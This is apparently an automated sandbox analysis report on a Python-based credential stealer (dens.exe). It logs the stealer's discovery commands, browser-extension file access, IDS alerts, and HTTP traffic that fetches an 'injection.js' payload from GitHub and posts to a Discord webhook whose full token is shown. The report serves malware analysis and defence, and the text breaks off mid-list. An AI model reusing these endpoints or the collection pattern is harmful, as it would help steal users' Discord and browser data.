Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: dens.exe, 00000000.00000003.1661475799.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: dens.exe, 00000000.00000003.1691479731.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665234767.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdbGCTL source: dens.exe, 00000000.00000003.1664185093.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.0.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: dens.exe, 00000000.00000003.1663915027.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665779625.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-conio-l1-1-0.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: dens.exe, 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: dens.exe, 00000000.00000003.1666196697.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1664454967.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1666130356.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: dens.exe, 00000000.00000003.1666675608.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665639486.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665368820.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: dens.exe, 00000000.00000003.1664254134.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: dens.exe, 00000000.00000003.1662552489.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: dens.exe, 00000000.00000003.1664523044.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: dens.exe, 00000000.00000003.1662872002.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1664725190.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1666353635.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdbGCTL source: dens.exe, 00000000.00000003.1665157382.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: dens.exe, 00000000.00000003.1673118322.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2057481054.000002D9AA8E0000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665779625.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-conio-l1-1-0.dll.0.dr

Spreading

Performs a network lookup / discovery via ARP

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a

Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C0F9280 FindFirstFileExW,FindClose,	0_2_00007FF62C0F9280
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C0F83C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF62C0F83C0
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C111874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF62C111874
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C0F9280 FindFirstFileExW,FindClose,	1_2_00007FF62C0F9280
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C111874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF62C111874
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C0F83C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_00007FF62C0F83C0

Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2857287 - Severity 1 - ETPRO MALWARE Python Cstealer/SatanStealer Discord JS Inject Inbound : 185.199.108.133:443 -> 192.168.2.4:49757

Uses netstat to query active network connections and open ports

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: unknown

DNS query: name: ip-api.com

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.4:49744
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.4:49763

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /antivirusevasion23/injection/main/injection.js HTTP/1.1Host: raw.githubusercontent.comAccept: /Accept-Encoding: gzip, deflate, brUser-Agent: Python/3.12 aiohttp/3.10.5
Source: global traffic	HTTP traffic detected: GET /getServer HTTP/1.1Host: api.gofile.ioAccept: /Accept-Encoding: gzip, deflate, brUser-Agent: Python/3.12 aiohttp/3.10.5
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ip-api.comAccept: /Accept-Encoding: gzip, deflate, brUser-Agent: Python/3.12 aiohttp/3.10.5

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: discord.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: api.gofile.io
Source: global traffic	DNS traffic detected: DNS query: store1.gofile.io

Source: unknown

HTTP traffic detected: POST /api/webhooks/1295868334612418591/QuvcFisisSeqgiaaEigFghTgy3B5fdld_JRxA14GVrqmyygbrLTztN99jPEX8IcFYc7T HTTP/1.1Host: discord.comContent-Type: application/jsonAccept: */*Accept-Encoding: gzip, deflate, brUser-Agent: Python/3.12 aiohttp/3.10.5Content-Length: 1311

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 12 Nov 2024 23:38:54 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1731454736x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E828AVbhGugyqVGLPhmHBb5U4Fg1xGA6Tk2O23S2an1hba95j8VNgqPPFdzhBzB1d3ATG1%2Fpf8QHWFwhMOB1zjvKfP2JKvm%2B1Ku3ylPkM4ERbQzOmOnBttRRLJLI"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=b4fe6e672b6a1d8dbc1bc903c4e4d946e08efe60-1731454734; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=jksrHuwgi48AtT.0Eupf2voBCFAB43FLFLVhTeE9FnI-1731454734658-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8e1a5bbb3d6d3583-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 12 Nov 2024 23:38:55 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1731454736x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4JODxRD7CJ9x5uuyA3G0YfusieZaBpUO4%2BbqOIWjAapORqiek10j8s%2FcLVW1hLrP7YtPoEgK4iVRpVb4cf2bHgmLteop%2F3XbRb%2BSTqMCJqRrJtjH8PLOuUd5XJzj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=9dba5449c019f2fb2e6b326e2136aa66df548017-1731454735; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=cKhzjvou17nQeUzv5Xf8o9mP4iIFwtHtb226JZIYU7k-1731454735463-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8e1a5bc03bbc2cd2-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 12 Nov 2024 23:38:57 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1731454738x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PXwzgwwbEGRs1xEifo4GwpCxmbqG7m%2F1ZIUpQCJYe0HNKbi07rOlEItVnZCnTm31pRqOTdvgr1dg0kq0sAUYnBcBDjc3bA2WrJcC5U5Mn0GzVCAq71rsrSmEL9CN"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Server: cloudflareCF-RAY: 8e1a5bc5abe93160-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.27.1Date: Tue, 12 Nov 2024 23:39:01 GMTContent-Type: text/html; charset=utf-8Content-Length: 14Connection: closeAccess-Control-Allow-Origin: *Access-Control-Allow-Headers: Content-Type, AuthorizationAccess-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEADAccess-Control-Allow-Credentials: trueContent-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requestsCross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: cross-originOrigin-Agent-Cluster: ?1Referrer-Policy: no-referrerStrict-Transport-Security: max-age=15552000; includeSubDomainsX-Content-Type-Options: nosniffX-DNS-Prefetch-Control: offX-Download-Options: noopenX-Frame-Options: SAMEORIGINX-Permitted-Cross-Domain-Policies: noneX-XSS-Protection: 0ETag: W/"e-18wLxDNka2j9cTg7gpgujtuBb1A"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 12 Nov 2024 23:39:04 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1731454746x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5ulokEnWGzVdH7hLe7hM6A2vOqkNcE0KE1y65WVc8ZvDwIjhqZcZpQbKPvQF8sheBErrWD8hb%2BJuFHZ01kC0lCIIzTD16gbov3KB0pVTsuTd6CvzTlRvcpVS1Jqp"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=61c4ad02f8e425b2213084f6302794d3bd4541dd-1731454744; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=tkSDV4PM1uOJpB7hv3ajc8RXfDe2eEs5RpUxYl09GBk-1731454744647-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8e1a5bf99b60d5db-DFW

Source: dens.exe, 00000000.00000003.1662792406.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663365617.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662307242.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672986256.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1691479731.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662173318.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1670723858.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662453626.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672249137.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661942418.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672034357.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662552489.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673743229.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1676466121.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662659826.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673118322.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662872002.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663046330.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663178145.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661560840.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1690034883.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: dens.exe, 00000000.00000003.1662792406.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663365617.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662307242.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672986256.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1691479731.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662173318.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1670723858.00000107DAD6D000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662453626.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672249137.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661942418.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672034357.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662552489.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673743229.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1676466121.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662659826.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673118322.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662872002.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663046330.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663178145.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661560840.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1690034883.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: dens.exe, 00000000.00000003.1662792406.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663365617.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662307242.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672986256.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1691479731.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662173318.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1670723858.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662453626.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672249137.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661942418.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672034357.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662552489.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673743229.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1676466121.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662659826.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673118322.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662872002.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663046330.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663178145.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661560840.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1690034883.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: dens.exe, 00000000.00000003.1662792406.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663365617.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662307242.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672986256.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1691479731.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662173318.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1670723858.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1670723858.00000107DAD6D000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662453626.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672249137.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661942418.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663289848.00000107DAD6F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672034357.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662552489.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673743229.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1676466121.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662659826.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673118322.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662872002.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663046330.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663178145.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: dens.exe, 00000001.00000003.2042664984.000002D9AADB8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2044813767.000002D9AADEC000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1703441544.000002D9AADC0000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2056068018.000002D9AADC6000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2047151959.000002D9AADC1000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1703254242.000002D9AADB9000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2044627162.000002D9AADB8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039084149.000002D9AADB8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2050122173.000002D9AADC2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040864660.000002D9AADB8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039859652.000002D9AADEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: dens.exe, 00000001.00000003.1701312245.000002D9AB206000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1701110182.000002D9AB2D7000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2041072267.000002D9AB1FB000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1701110182.000002D9AB280000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1703029573.000002D9AB206000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2051625199.000002D9AB22B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2060725211.000002D9AB22B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1701276433.000002D9AB2D7000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2046658607.000002D9AB227000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2043275483.000002D9AB205000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2050345142.000002D9AB22A000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039709379.000002D9AB1E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577916/
Source: powershell.exe, 00000052.00000002.1892090053.00000217AB814000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: svchost.exe, 00000034.00000002.2911368637.000001DE8AEBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: dens.exe, 00000000.00000003.1662792406.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663365617.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662307242.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672986256.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1691479731.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662173318.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1670723858.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662453626.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672249137.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1661942418.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663289848.00000107DAD6F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1672034357.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662552489.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673743229.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1676466121.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662659826.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1673118322.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1662872002.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663046330.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1663178145.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 